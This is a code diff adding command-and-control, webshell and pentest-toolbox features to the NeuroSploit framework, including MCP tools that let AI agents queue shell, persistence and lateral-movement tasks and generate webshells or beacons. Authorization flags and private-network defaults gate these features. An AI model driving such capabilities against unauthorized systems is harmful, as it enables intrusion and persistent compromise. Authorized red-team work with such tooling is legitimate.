v.as_str()).unwrap_or(""), + t.get("status").and_then(|v| v.as_str()).unwrap_or("") + ); + if let Some(out) = t.get("output").and_then(|v| v.as_str()) { + if !out.is_empty() { + println!("--- output ---\n{out}"); + } + } + if let Some(err) = t.get("error").and_then(|v| v.as_str()) { + if !err.is_empty() { + println!("--- error ---\n{err}"); + } + } +} + +fn print_payload(v: &Value) { + if let Some(content) = v.get("content").and_then(|x| x.as_str()) { + println!( + "{} ({}) → {}", + v.get("name").and_then(|x| x.as_str()).unwrap_or("payload"), + v.get("kind").and_then(|x| x.as_str()).unwrap_or(""), + v.get("path").and_then(|x| x.as_str()).unwrap_or("") + ); + println!("--- content ---\n{content}"); + } else if let Some(one) = v.get("oneliner").and_then(|x| x.as_str()) { + println!("{one}"); + } else { + print_json(v); + } +} + +fn print_webshell(w: Option<&Value>) { + let Some(w) = w else { + println!("(no webshell)"); + return; + }; + println!( + "{} {} {} {} password_set={}", + w.get("id").and_then(|v| v.as_str()).unwrap_or(""), + w.get("url").and_then(|v| v.as_str()).unwrap_or(""), + w.get("shell_type").and_then(|v| v.as_str()).unwrap_or(""), + w.get("method").and_then(|v| v.as_str()).unwrap_or(""), + w.get("password_set").and_then(|v| v.as_bool()).unwrap_or(false) + ); +} + +fn urlencode(s: &str) -> String { + let mut out = String::new(); + for b in s.bytes() { + match b { + b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'_' | b'.' | b'~' => { + out.push(b as char) + } + _ => out.push_str(&format!("%{b:02X}")), + } + } + out +} + +fn print_status(v: &Value) { + print_policy(v.get("policy")); + if let Some(items) = v.get("listeners").and_then(|x| x.as_array()) { + println!("\nlisteners ({}):", items.len()); + for l in items { + print_listener(Some(l)); + } + } + if let Some(items) = v.get("sessions").and_then(|x| x.as_array()) { + println!("\nsessions ({}):", items.len()); + for s in items { + println!( + "{} {:<8} {}@{} ({}/{}) ip={} sup={}", + s.get("id").and_then(|v| v.as_str()).unwrap_or(""), + s.get("status").and_then(|v| v.as_str()).unwrap_or(""), + s.get("username").and_then(|v| v.as_str()).unwrap_or("?"), + s.get("hostname").and_then(|v| v.as_str()).unwrap_or("?"), + s.get("os").and_then(|v| v.as_str()).unwrap_or("?"), + s.get("arch").and_then(|v| v.as_str()).unwrap_or("?"), + s.get("internal_ip").and_then(|v| v.as_str()).unwrap_or("?"), + s.get("is_admin").and_then(|v| v.as_bool()).unwrap_or(false), + ); + } + } + if let Some(items) = v.get("webshells").and_then(|x| x.as_array()) { + println!("\nwebshells ({}):", items.len()); + for w in items { + print_webshell(Some(w)); + } + } + if let Some(items) = v.get("tasks").and_then(|x| x.as_array()) { + let open = items + .iter() + .filter(|t| { + matches!( + t.get("status").and_then(|v| v.as_str()), + Some("queued") | Some("sent") + ) + }) + .count(); + println!("\ntasks: {} total, {} queued/sent", items.len(), open); + } +} diff --git a/neurosploit-rs/app/src/main.rs b/neurosploit-rs/app/src/main.rs index 1589966..b48d383 100644 --- a/neurosploit-rs/app/src/main.rs +++ b/neurosploit-rs/app/src/main.rs @@ -1,5 +1,7 @@ //! NeuroSploit — interactive harness + CLI (`run` / `whitebox` / `agents` / `models`). +mod c2cli; +mod toolscli; mod rectify; mod repl; mod tui; @@ -108,6 +110,36 @@ struct Cli { /// subscription-CLI backends (claude/codex/…) expose no temperature knob. #[arg(long = "temperature", global = true)] temperature: Option, + /// Opt-in: give the agents the local C2 (listeners, sessions, tasks, + /// persistence, lateral movement) for this authorized internal engagement. + /// Requires --c2-authorization. + #[arg(long = "c2", global = true)] + c2: bool, + /// SOW / ticket / bug-bounty URL authorizing C2 use. Required by --c2. + #[arg(long = "c2-authorization", global = true)] + c2_authorization: Option, + /// Allow persistence tasks on implants (requires --c2). + #[arg(long = "c2-persistence", global = true)] + c2_persistence: bool, + /// Allow lateral-movement/upload tasks (requires --c2). + #[arg(long = "c2-lateral", global = true)] + c2_lateral: bool, + /// Allow C2/WebShell targets outside private address space (explicit opt-in). + #[arg(long = "c2-allow-public", global = true)] + c2_allow_public: bool, + /// Opt-in: enable the 200+ tool toolbox and its doctrine for this run. + #[arg(long = "tools", global = true)] + tools: bool, + /// Opt-in: let API-model agents request cataloged tools in a bounded loop. + #[arg(long = "agent-tools", global = true)] + agent_tools: bool, + /// Explicitly allow the toolbox to install missing tools (apt/pipx/go/...). + #[arg(long = "provision", global = true)] + provision: bool, + /// Extra MCP tool server from the curated catalog (nmap, kali, playwright, + /// burp, rea, neurosploit). Repeatable. + #[arg(long = "mcp-server", global = true)] + mcp_server: Vec, } #[derive(Subcommand)] @@ -224,6 +256,22 @@ enum Cmd { #[arg(long)] reactive: bool, }, + /// Toolbox: list/check/run 200+ pentest tools and manage MCP tool servers. + Tools { + #[command(subcommand)] + cmd: toolscli::ToolsCmd, + }, + /// Command & Control for authorized internal engagements: listeners, + /// sessions, tasks, payloads, persistence and lateral movement. + C2 { + #[command(subcommand)] + cmd: c2cli::C2Cmd, + }, + /// WebShell management: saved connections, command exec, file operations. + Webshell { + #[command(subcommand)] + cmd: c2cli::WebshellCmd, + }, /// Run NeuroSploit as an MCP server (stdio) so Claude Code, Codex, Cursor /// and other MCP clients can drive it as a set of tools. Mcp, @@ -851,6 +899,54 @@ async fn main() -> anyhow::Result<()> { } } + // C2 opt-in: bootstrap the local daemon/policy before the engagement runs, + // so the agents see the same sessions and guardrails the CLI enforces. + let invoking_c2_tool = matches!( + &cli.cmd, + Some(Cmd::C2 { .. }) | Some(Cmd::Webshell { .. }) + ); + if cli.c2 && !invoking_c2_tool { + let auth = cli.c2_authorization.clone().unwrap_or_default(); + if auth.trim().is_empty() { + anyhow::bail!( + "--c2 requires --c2-authorization \"SOW/ticket/URL\" (C2 is opt-in and auditable)" + ); + } + std::env::set_var("NEUROSPLOIT_C2", "1"); + if cli.c2_persistence { + std::env::set_var("NEUROSPLOIT_C2_PERSIST", "1"); + } + if cli.c2_lateral { + std::env::set_var("NEUROSPLOIT_C2_LATERAL", "1"); + } + if let Err(e) = harness::c2::bootstrap( + &auth, + cli.c2_persistence, + cli.c2_lateral, + cli.c2_allow_public, + ) + .await + { + anyhow::bail!("C2 bootstrap failed: {e}"); + } + eprintln!(" [*] C2 enabled for this engagement (authorization: {auth})"); + } + + // Toolbox opt-in: the tool catalog is always available, but the doctrine and + // the agent tool loop only activate when the operator asks for them. + if cli.tools || cli.agent_tools { + std::env::set_var("NEUROSPLOIT_TOOLS", "1"); + } + if cli.agent_tools { + std::env::set_var("NEUROSPLOIT_AGENT_TOOLS", "1"); + } + if cli.provision { + std::env::set_var("NEUROSPLOIT_PROVISION", "1"); + } + if !cli.mcp_server.is_empty() { + std::env::set_var("NEUROSPLOIT_MCP_SERVERS", cli.mcp_server.join(",")); + } + // No subcommand → launch the Claude-Code-style interactive session. let cmd = match cli.cmd.take() { Some(c) => c, @@ -889,6 +985,9 @@ async fn main() -> anyhow::Result<()> { } } } + Cmd::Tools { cmd } => { toolscli::handle(cmd).await?; } + Cmd::C2 { cmd } => { c2cli::handle_c2(cmd).await?; } + Cmd::Webshell { cmd } => { c2cli::handle_webshell(cmd).await?; } Cmd::Mcp => { mcp::serve()?; } Cmd::Rebuild { run } => { // Accept either a path or a bare run id, resolved against the same diff --git a/neurosploit-rs/app/src/mcp.rs b/neurosploit-rs/app/src/mcp.rs index 3562230..caa24bd 100644 --- a/neurosploit-rs/app/src/mcp.rs +++ b/neurosploit-rs/app/src/mcp.rs @@ -31,6 +31,15 @@ //! - neurosploit_agents list the agent library //! - neurosploit_models list providers and models //! - neurosploit_import_collection validate/preview a collection (file or dir) +//! - neurosploit_c2_status C2 policy + listeners/sessions/webshells +//! - neurosploit_c2_control enable/disable/update C2 policy (opt-in) +//! - neurosploit_c2_listener listener create/start/stop/delete/list +//! - neurosploit_c2_session session list/get/sleep/note/kill +//! - neurosploit_c2_task task enqueue/wait/get/list/cancel +//! - neurosploit_c2_payload generate webshell / beacon / oneliner +//! - neurosploit_webshell save/exec/file/test a WebShell connection +//! - neurosploit_tool_* list/info/check/run the 200+ tool catalog +//! - neurosploit_tool_mcp manage curated MCP tool servers //! //! Kept dependency-free: JSON-RPC framing is hand-rolled over stdin/stdout with //! serde_json, and tools run via std::process::Command. @@ -94,7 +103,7 @@ fn err(id: Option, code: i64, msg: &str) -> Value { // --------------------------------------------------------------------------- fn tool_list() -> Value { - json!([ + let mut tools = json!([ { "name": "neurosploit_run", "description": "Launch a NeuroSploit black-box engagement against an authorized target. Returns the run id, finding summary, and report path. Only test targets you are authorized to test.", @@ -256,6 +265,130 @@ fn tool_list() -> Value { } } }, + ]); + extend_tools(&mut tools, json!([ + { + "name": "neurosploit_c2_status", + "description": "Show the local C2 policy, listeners, sessions, tasks, webshell connections and recent events. C2 is opt-in; this tool fails closed when it is disabled.", + "inputSchema": { "type": "object", "properties": {} } + }, + { + "name": "neurosploit_c2_control", + "description": "Enable or disable the local C2 module, or update its guardrails. Enabling REQUIRES an authorization reference (SOW/ticket/bug-bounty URL). Persistence and lateral movement are separate explicit opt-ins.", + "inputSchema": { + "type": "object", + "properties": { + "action": { "type": "string", "enum": ["enable","disable","policy"], "description": "Operation" }, + "authorization": { "type": "string", "description": "Authorization reference (required for enable)" }, + "persistence": { "type": "boolean", "description": "Allow persistence tasks" }, + "lateral": { "type": "boolean", "description": "Allow lateral-movement/upload tasks" }, + "allow_public": { "type": "boolean", "description": "Allow non-private targets (explicit opt-in)" }, + "hosts": { "type": "array", "items": { "type": "string" }, "description": "Extra authorized hosts/domains" } + }, + "required": ["action"] + } + }, + { + "name": "neurosploit_c2_listener", + "description": "Manage HTTP beacon listeners (localhost by default). Create is not start; call start explicitly.", + "inputSchema": { + "type": "object", + "properties": { + "action": { "type": "string", "enum": ["list","create","start","stop","delete"] }, + "id": { "type": "string", "description": "Listener id (start/stop/delete)" }, + "name": { "type": "string", "description": "Listener name (create)" }, + "bind_host": { "type": "string", "description": "Bind address, default 127.0.0.1" }, + "bind_port": { "type": "integer", "description": "Bind port, e.g. 8443" }, + "callback_host": { "type": "string", "description": "Host implants call back to" }, + "sleep_seconds": { "type": "integer", "description": "Default beacon sleep" }, + "jitter_percent": { "type": "integer", "description": "Default beacon jitter 0-100" } + }, + "required": ["action"] + } + }, + { + "name": "neurosploit_c2_session", + "description": "Inspect and manage C2 sessions. Use the returned session_id with neurosploit_c2_task for persistence, command execution and lateral movement.", + "inputSchema": { + "type": "object", + "properties": { + "action": { "type": "string", "enum": ["list","get","sleep","note","kill"] }, + "session_id": { "type": "string", "description": "Session id (s_...)" }, + "seconds": { "type": "integer", "description": "New beacon sleep (sleep)" }, + "jitter": { "type": "integer", "description": "New jitter 0-100 (sleep)" }, + "note": { "type": "string", "description": "Operator note (note)" } + }, + "required": ["action"] + } + }, + { + "name": "neurosploit_c2_task", + "description": "Queue and retrieve tasks on a C2 session: exec/shell commands, pwd, ls, cd, ps, download, upload, sleep, exit, persist (requires persistence policy) and lateral (requires lateral policy). Returns task ids and output.", + "inputSchema": { + "type": "object", + "properties": { + "action": { "type": "string", "enum": ["enqueue","wait","get","list","cancel"] }, + "session_id": { "type": "string", "description": "Session id (s_...)" }, + "task_id": { "type": "string", "description": "Task id (t_...)" }, + "task_type": { "type": "string", "description": "exec|shell|lateral|persist|pwd|ls|cd|ps|download|upload|sleep|exit" }, + "command": { "type": "string", "description": "Command for exec/lateral" }, + "path": { "type": "string", "description": "Path for ls/cd/download/upload" }, + "content": { "type": "string", "description": "File content for upload" }, + "method": { "type": "string", "description": "Persistence method: auto|cron|bashrc|systemd|schtasks|registry" }, + "status": { "type": "string", "description": "Filter for list" }, + "timeout_seconds": { "type": "integer", "description": "Wait timeout (default 60)" } + }, + "required": ["action"] + } + }, + { + "name": "neurosploit_c2_payload", + "description": "Generate an authorized payload: a WebShell (php/aspx/asp/jsp) or an HTTP beacon (bash/python/powershell/php) for a listener, or a one-shot check-in oneliner.", + "inputSchema": { + "type": "object", + "properties": { + "action": { "type": "string", "enum": ["webshell","beacon","oneliner","list"] }, + "shell_type": { "type": "string", "description": "php|aspx|asp|jsp" }, + "password": { "type": "string", "description": "WebShell password" }, + "pass_param": { "type": "string", "description": "Password parameter name (default pass)" }, + "cmd_param": { "type": "string", "description": "Command parameter name (default cmd)" }, + "listener_id": { "type": "string", "description": "Listener id for beacon/oneliner" }, + "kind": { "type": "string", "description": "bash|python|powershell|php" }, + "host": { "type": "string", "description": "Override callback host" }, + "filename": { "type": "string", "description": "Output filename" } + }, + "required": ["action"] + } + }, + { + "name": "neurosploit_webshell", + "description": "Manage saved WebShell connections: add/list, test, execute commands and perform file operations (list/read/write/delete/mkdir/rename). Targets must be authorized (private by default).", + "inputSchema": { + "type": "object", + "properties": { + "action": { "type": "string", "enum": ["list","add","update","delete","test","exec","file"] }, + "id": { "type": "string", "description": "Connection id (ws_...)" }, + "url": { "type": "string", "description": "WebShell URL" }, + "name": { "type": "string" }, + "password": { "type": "string" }, + "shell_type": { "type": "string", "description": "php|asp|aspx|jsp|custom" }, + "method": { "type": "string", "description": "GET or POST" }, + "cmd_param": { "type": "string", "description": "Command parameter name" }, + "pass_param": { "type": "string", "description": "Password parameter name" }, + "os": { "type": "string", "description": "auto|linux|windows" }, + "encoding": { "type": "string", "description": "auto|utf-8" }, + "note": { "type": "string" }, + "command": { "type": "string", "description": "Command for exec" }, + "file_action": { "type": "string", "description": "list|read|write|upload|delete|mkdir|rename" }, + "path": { "type": "string" }, + "content": { "type": "string" }, + "target_path": { "type": "string" } + }, + "required": ["action"] + } + }, + ])); + extend_tools(&mut tools, json!([ { "name": "neurosploit_list_runs", "description": "List finished NeuroSploit runs (ids and targets).", "inputSchema": { "type": "object", "properties": {} } }, { "name": "neurosploit_findings", "description": "Read a finished run's findings as JSON.", "inputSchema": { "type": "object", "properties": { "run": { "type": "string", "description": "Run id or path" } }, "required": ["run"] } }, { "name": "neurosploit_report", "description": "Read a finished run's Markdown report.", "inputSchema": { "type": "object", "properties": { "run": { "type": "string" } }, "required": ["run"] } }, @@ -332,7 +465,76 @@ fn tool_list() -> Value { "required": ["path"] } } - ]) + ])); + extend_tools(&mut tools, json!([ + { + "name": "neurosploit_tool_list", + "description": "List or search the 200+ security-tool catalog (web, network, Active Directory, cloud, container, mobile, binary, forensics, AI).", + "inputSchema": { + "type": "object", + "properties": { + "query": { "type": "string", "description": "Search id/name/tag/description" }, + "category": { "type": "string", "description": "Filter by category, e.g. web, network, ad, cloud, binary" } + } + } + }, + { + "name": "neurosploit_tool_info", + "description": "Show one tool's binary, usage template, tags, safety flags and install hints.", + "inputSchema": { + "type": "object", + "properties": { "tool": { "type": "string", "description": "Tool id, e.g. nmap or rustscan" } }, + "required": ["tool"] + } + }, + { + "name": "neurosploit_tool_check", + "description": "Check whether a tool is installed (and its version) without running it. Optional sandbox check.", + "inputSchema": { + "type": "object", + "properties": { + "tool": { "type": "string", "description": "Tool id" }, + "sandbox": { "type": "boolean", "description": "Check inside the Kali container" } + }, + "required": ["tool"] + } + }, + { + "name": "neurosploit_tool_run", + "description": "Run a cataloged security tool against an authorized target. Scope/constraints are enforced by the same runner as the CLI. Examples: nmap, rustscan, httpx, nuclei, ffuf, netexec, bloodhound_python.", + "inputSchema": { + "type": "object", + "properties": { + "tool": { "type": "string", "description": "Catalog id, e.g. nmap" }, + "target": { "type": "string", "description": "Host or URL" }, + "args": { "type": "string", "description": "Arguments/flags; target is appended when absent" }, + "sandbox": { "type": "boolean", "description": "Run inside the Kali container" }, + "provision": { "type": "boolean", "description": "Explicitly allow installing the tool if missing" }, + "timeout_seconds": { "type": "integer", "description": "Execution timeout (default 300)" } + }, + "required": ["tool"] + } + }, + { + "name": "neurosploit_tool_mcp", + "description": "Manage curated MCP tool servers (nmap, kali, playwright, burp, rea, neurosploit) in ./mcp.servers.json, or print/test their config.", + "inputSchema": { + "type": "object", + "properties": { + "action": { "type": "string", "enum": ["list","add","remove","json","test"], "description": "Operation" }, + "server": { "type": "string", "description": "Server name" } + }, + "required": ["action"] + } + } + ])); + tools +} + +fn extend_tools(dst: &mut Value, more: Value) { + if let (Some(a), Some(b)) = (dst.as_array_mut(), more.as_array()) { + a.extend(b.iter().cloned()); + } } // --------------------------------------------------------------------------- @@ -453,6 +655,242 @@ fn handle_call(id: Option, req: &Value, exe: &std::path::Path) -> Value { if let Some(fr) = s("from") { argv.push("--from".into()); argv.push(fr); } } + // ---- C2 / WebShell -------------------------------------------------- + "neurosploit_c2_status" => { + argv.push("c2".into()); argv.push("status".into()); argv.push("--json".into()); + } + "neurosploit_c2_control" => { + let Some(action) = s("action") else { return tool_err(id, "action is required") }; + argv.push("c2".into()); + match action.as_str() { + "enable" => { + let Some(auth) = s("authorization") else { return tool_err(id, "authorization is required to enable C2") }; + argv.push("enable".into()); argv.push("--authorization".into()); argv.push(auth); + if b("persistence") { argv.push("--persistence".into()); } + if b("lateral") { argv.push("--lateral".into()); } + if b("allow_public") { argv.push("--allow-public".into()); } + if let Some(hosts) = a.get("hosts").and_then(|v| v.as_array()) { + for h in hosts.iter().filter_map(|v| v.as_str()) { argv.push("--host".into()); argv.push(h.to_string()); } + } + } + "disable" => argv.push("disable".into()), + "policy" => { + argv.push("policy".into()); + if let Some(v) = s("authorization") { argv.push("--authorized-by".into()); argv.push(v); } + if a.get("persistence").is_some() { argv.push("--persistence".into()); argv.push(b("persistence").to_string()); } + if a.get("lateral").is_some() { argv.push("--lateral".into()); argv.push(b("lateral").to_string()); } + if a.get("allow_public").is_some() { argv.push("--allow-public".into()); argv.push(b("allow_public").to_string()); } + } + other => return tool_err(id, &format!("unknown control action: {other}")), + } + argv.push("--json".into()); + } + "neurosploit_c2_listener" => { + let Some(action) = s("action") else { return tool_err(id, "action is required") }; + argv.push("c2".into()); argv.push("listener".into()); argv.push(action.clone()); + match action.as_str() { + "create" => { + let Some(name) = s("name") else { return tool_err(id, "name is required") }; + argv.push("--name".into()); argv.push(name); + if let Some(v) = s("bind_host") { argv.push("--bind-host".into()); argv.push(v); } + if let Some(v) = i("bind_port") { argv.push("--bind-port".into()); argv.push(v.to_string()); } + if let Some(v) = s("callback_host") { argv.push("--callback-host".into()); argv.push(v); } + if let Some(v) = i("sleep_seconds") { argv.push("--sleep".into()); argv.push(v.to_string()); } + if let Some(v) = i("jitter_percent") { argv.push("--jitter".into()); argv.push(v.to_string()); } + } + "start" | "stop" | "delete" => { + let Some(v) = s("id") else { return tool_err(id, "id is required") }; + argv.push(v); + } + "list" => {} + other => return tool_err(id, &format!("unknown listener action: {other}")), + } + argv.push("--json".into()); + } + "neurosploit_c2_session" => { + let Some(action) = s("action") else { return tool_err(id, "action is required") }; + argv.push("c2".into()); argv.push("session".into()); argv.push(action.clone()); + match action.as_str() { + "list" => {} + "get" | "kill" => { + let Some(v) = s("session_id") else { return tool_err(id, "session_id is required") }; + argv.push(v); + } + "sleep" => { + let Some(v) = s("session_id") else { return tool_err(id, "session_id is required") }; + argv.push(v); + if let Some(n) = i("seconds") { argv.push("--seconds".into()); argv.push(n.to_string()); } + if let Some(n) = i("jitter") { argv.push("--jitter".into()); argv.push(n.to_string()); } + } + "note" => { + let Some(v) = s("session_id") else { return tool_err(id, "session_id is required") }; + let Some(n) = s("note") else { return tool_err(id, "note is required") }; + argv.push(v); argv.push("--note".into()); argv.push(n); + } + other => return tool_err(id, &format!("unknown session action: {other}")), + } + argv.push("--json".into()); + } + "neurosploit_c2_task" => { + let Some(action) = s("action") else { return tool_err(id, "action is required") }; + argv.push("c2".into()); argv.push("task".into()); + match action.as_str() { + "enqueue" | "wait" | "get" | "cancel" | "list" => { argv.push(action.clone()); } + _ => argv.push("enqueue".into()), + } + if action == "list" { + if let Some(v) = s("session_id") { argv.push("--session".into()); argv.push(v); } + if let Some(v) = s("status") { argv.push("--status".into()); argv.push(v); } + argv.push("--json".into()); + } else if action == "wait" || action == "get" || action == "cancel" { + let Some(v) = s("task_id") else { return tool_err(id, "task_id is required") }; + argv.push(v); + if action == "wait" { if let Some(n) = i("timeout_seconds") { argv.push("--timeout".into()); argv.push(n.to_string()); } } + argv.push("--json".into()); + } else if action == "enqueue" { + let Some(sess) = s("session_id") else { return tool_err(id, "session_id is required") }; + let ttype = s("task_type").unwrap_or_else(|| "exec".into()); + argv.push("--session".into()); argv.push(sess); + argv.push("--type".into()); argv.push(ttype.clone()); + let payload = if ttype == "persist" { + json!({ "method": s("method").unwrap_or_else(|| "auto".into()) }) + } else if ttype == "upload" { + json!({ "path": s("path").unwrap_or_default(), "content": s("content").unwrap_or_default() }) + } else if ttype == "ls" || ttype == "cd" { + json!({ "path": s("path").unwrap_or_default() }) + } else { + json!({ "command": s("command").unwrap_or_default() }) + }; + argv.push("--payload".into()); argv.push(payload.to_string()); + argv.push("--wait".into()); + if let Some(n) = i("timeout_seconds") { argv.push("--timeout".into()); argv.push(n.to_string()); } + argv.push("--json".into()); + } + } + "neurosploit_c2_payload" => { + let Some(action) = s("action") else { return tool_err(id, "action is required") }; + argv.push("c2".into()); argv.push("payload".into()); argv.push(action.clone()); + match action.as_str() { + "webshell" => { + if let Some(v) = s("shell_type") { argv.push("--shell-type".into()); argv.push(v); } + if let Some(v) = s("password") { argv.push("--password".into()); argv.push(v); } + if let Some(v) = s("pass_param") { argv.push("--pass-param".into()); argv.push(v); } + if let Some(v) = s("cmd_param") { argv.push("--cmd-param".into()); argv.push(v); } + } + "beacon" => { + let Some(l) = s("listener_id") else { return tool_err(id, "listener_id is required") }; + argv.push("--listener".into()); argv.push(l); + if let Some(v) = s("kind") { argv.push("--kind".into()); argv.push(v); } + if let Some(v) = s("host") { argv.push("--host".into()); argv.push(v); } + } + "oneliner" => { + let Some(l) = s("listener_id") else { return tool_err(id, "listener_id is required") }; + argv.push("--listener".into()); argv.push(l); + } + "list" => {} + other => return tool_err(id, &format!("unknown payload action: {other}")), + } + if let Some(v) = s("filename") { argv.push("--filename".into()); argv.push(v); } + argv.push("--json".into()); + } + "neurosploit_webshell" => { + let Some(action) = s("action") else { return tool_err(id, "action is required") }; + argv.push("webshell".into()); + match action.as_str() { + "list" => { argv.push("list".into()); } + "add" => { + argv.push("add".into()); + let Some(url) = s("url") else { return tool_err(id, "url is required") }; + argv.push("--url".into()); argv.push(url); + if let Some(v) = s("name") { argv.push("--name".into()); argv.push(v); } + if let Some(v) = s("password") { argv.push("--password".into()); argv.push(v); } + if let Some(v) = s("shell_type") { argv.push("--shell-type".into()); argv.push(v); } + if let Some(v) = s("method") { argv.push("--method".into()); argv.push(v); } + if let Some(v) = s("cmd_param") { argv.push("--cmd-param".into()); argv.push(v); } + if let Some(v) = s("pass_param") { argv.push("--pass-param".into()); argv.push(v); } + if let Some(v) = s("os") { argv.push("--os".into()); argv.push(v); } + if let Some(v) = s("encoding") { argv.push("--encoding".into()); argv.push(v); } + if let Some(v) = s("note") { argv.push("--note".into()); argv.push(v); } + } + "update" => { + argv.push("update".into()); + let Some(v) = s("id") else { return tool_err(id, "id is required") }; + argv.push(v); + if let Some(v) = s("url") { argv.push("--url".into()); argv.push(v); } + if let Some(v) = s("name") { argv.push("--name".into()); argv.push(v); } + if let Some(v) = s("password") { argv.push("--password".into()); argv.push(v); } + if let Some(v) = s("shell_type") { argv.push("--shell-type".into()); argv.push(v); } + if let Some(v) = s("method") { argv.push("--method".into()); argv.push(v); } + if let Some(v) = s("cmd_param") { argv.push("--cmd-param".into()); argv.push(v); } + if let Some(v) = s("pass_param") { argv.push("--pass-param".into()); argv.push(v); } + if let Some(v) = s("os") { argv.push("--os".into()); argv.push(v); } + if let Some(v) = s("note") { argv.push("--note".into()); argv.push(v); } + } + "delete" | "test" => { + argv.push(action.clone()); + let Some(v) = s("id") else { return tool_err(id, "id is required") }; + argv.push(v); + } + "exec" => { + argv.push("exec".into()); + let Some(v) = s("id") else { return tool_err(id, "id is required") }; + let Some(c) = s("command") else { return tool_err(id, "command is required") }; + argv.push("--id".into()); argv.push(v); + argv.push("--command".into()); argv.push(c); + } + "file" => { + argv.push("file".into()); + let Some(v) = s("id") else { return tool_err(id, "id is required") }; + argv.push("--id".into()); argv.push(v); + argv.push("--action".into()); argv.push(s("file_action").unwrap_or_else(|| "list".into())); + if let Some(p) = s("path") { argv.push("--path".into()); argv.push(p); } + if let Some(c) = s("content") { argv.push("--content".into()); argv.push(c); } + if let Some(t) = s("target_path") { argv.push("--target-path".into()); argv.push(t); } + } + other => return tool_err(id, &format!("unknown webshell action: {other}")), + } + argv.push("--json".into()); + } + + // ---- toolbox -------------------------------------------------------- + "neurosploit_tool_list" => { + if let Some(q) = s("query") { + argv.push("tools".into()); argv.push("search".into()); argv.push(q); + } else { + argv.push("tools".into()); argv.push("list".into()); + if let Some(c) = s("category") { argv.push("--category".into()); argv.push(c); } + } + argv.push("--json".into()); + } + "neurosploit_tool_info" => { + let Some(t) = s("tool") else { return tool_err(id, "tool is required") }; + argv.push("tools".into()); argv.push("info".into()); argv.push(t); argv.push("--json".into()); + } + "neurosploit_tool_check" => { + let Some(t) = s("tool") else { return tool_err(id, "tool is required") }; + argv.push("tools".into()); argv.push("check".into()); argv.push(t); argv.push("--json".into()); + if b("sandbox") { argv.push("--sandbox".into()); } + } + "neurosploit_tool_run" => { + let Some(t) = s("tool") else { return tool_err(id, "tool is required") }; + argv.push("tools".into()); argv.push("run".into()); argv.push(t); + if let Some(target) = s("target") { argv.push("--target".into()); argv.push(target); } + if let Some(args) = s("args") { argv.push("--args".into()); argv.push(args); } + if b("sandbox") { argv.push("--sandbox".into()); } + if b("provision") { argv.push("--provision".into()); } + if let Some(n) = i("timeout_seconds") { argv.push("--timeout".into()); argv.push(n.to_string()); } + argv.push("--json".into()); + } + "neurosploit_tool_mcp" => { + let action = s("action").unwrap_or_else(|| "list".into()); + argv.push("tools".into()); argv.push("mcp".into()); argv.push(action.clone()); + if action != "list" { + let Some(server) = s("server") else { return tool_err(id, "server is required") }; + argv.push(server); + } + if action == "list" || action == "test" { argv.push("--json".into()); } + } + // ---- post-run tools ------------------------------------------------- "neurosploit_list_runs" => return list_runs(id), "neurosploit_findings" => { diff --git a/neurosploit-rs/app/src/repl.rs b/neurosploit-rs/app/src/repl.rs index a8f247b..6ea6b76 100644 --- a/neurosploit-rs/app/src/repl.rs +++ b/neurosploit-rs/app/src/repl.rs @@ -157,6 +157,7 @@ pub(crate) const ACCEPTED: &[&str] = &[ "/sandbox", "/scope", "/scope-out", "/show", "/status", "/stop", "/sub", "/subscription", "/target", "/temp-email", "/tempmail", "/theme", "/timeout", "/ua", "/url", "/useragent", "/validate", "/votes", + "/c2", "/webshell", "/tools", ]; /// All slash-commands, for Tab completion. @@ -167,6 +168,7 @@ const COMMANDS: &[&str] = &[ "/status", "/logs", "/diff", "/retest", "/validate", "/finding", "/pocs", "/expand", "/integrations", "/memory", "/forget", "/graph", "/inscope", "/observe", "/guardrail", "/policy", "/compliance", "/budget", "/capability", "/audit", "/quit", + "/c2", "/webshell", "/tools", ]; /// rustyline helper: Tab-completes `/commands` and `@filesystem-paths`, @@ -1488,6 +1490,22 @@ pub async fn repl(base: &Path, auth: SessionAuth) -> anyhow::Result<()> { _ => println!(" no active run — /logs shows the live activity feed while a run streams."), } } + "/c2" | "/webshell" | "/tools" => { + let mut argv = vec![cmd.trim_start_matches('/').to_string()]; + argv.extend(split_cli_args(arg)); + match std::env::current_exe() { + Ok(exe) => match std::process::Command::new(exe).args(&argv).output() { + Ok(out) => { + let stdout = String::from_utf8_lossy(&out.stdout); + let stderr = String::from_utf8_lossy(&out.stderr); + if !stdout.trim().is_empty() { print!("{stdout}"); } + if !stderr.trim().is_empty() { eprint!("{stderr}"); } + } + Err(e) => println!(" C2/WebShell command failed: {e}"), + }, + Err(e) => println!(" cannot locate neurosploit binary: {e}"), + } + } "/quit" | "/exit" | "/q" => { if active.as_ref().map(|a| !a.done.load(Ordering::Relaxed)).unwrap_or(false) { if let Some(a) = &active { a.cancel.store(true, Ordering::Relaxed); } @@ -2713,6 +2731,38 @@ fn show(s: &Session) { println!(" └─ /run to launch · edit with /target /repo /auth /creds /focus /model"); } +/// Split a REPL argument string into argv, honouring single/double quotes and +/// backslash escapes. Used by `/c2` and `/webshell` so the operator can pass a +/// command with spaces without the shell being involved. +fn split_cli_args(input: &str) -> Vec { + let mut out = Vec::new(); + let mut cur = String::new(); + let mut quote: Option = None; + let mut escaped = false; + for c in input.chars() { + if escaped { + cur.push(c); + escaped = false; + continue; + } + match (quote, c) { + (_, '\\') => escaped = true, + (Some(q), ch) if ch == q => quote = None, + (None, '\'' | '"') => quote = Some(c), + (None, ch) if ch.is_whitespace() => { + if !cur.is_empty() { + out.push(std::mem::take(&mut cur)); + } + } + (_, ch) => cur.push(ch), + } + } + if !cur.is_empty() { + out.push(cur); + } + out +} + fn help() { let h = |c: &str, d: &str| println!(" \x1b[36m{c:<20}\x1b[0m {d}"); println!("\n \x1b[1mNeuroSploit REPL — commands\x1b[0m"); @@ -2768,6 +2818,9 @@ fn help() { h("/memory [text]", "what the harness learned (working·engagement·technique·reusable); search with text"); h("/forget ", "drop every memory whose text matches"); h("/graph", "attack knowledge graph: entities, top attack paths, unproven frontier"); + h("/c2 ", "C2 for authorized internal engagements: status · enable · listener · session · task · payload"); + h("/webshell ", "WebShell manager: list · add · test · exec · file (same verbs as `neurosploit webshell`)"); + h("/tools ", "Toolbox: list · search · info · check · run · install · mcp (same verbs as `neurosploit tools`)"); println!("\n \x1b[2mINTEGRATIONS\x1b[0m"); h("/integrations", "show · enable/disable github|gitlab|jira · setup "); diff --git a/neurosploit-rs/app/src/toolscli.rs b/neurosploit-rs/app/src/toolscli.rs new file mode 100644 index 0000000..39ebfdc --- /dev/null +++ 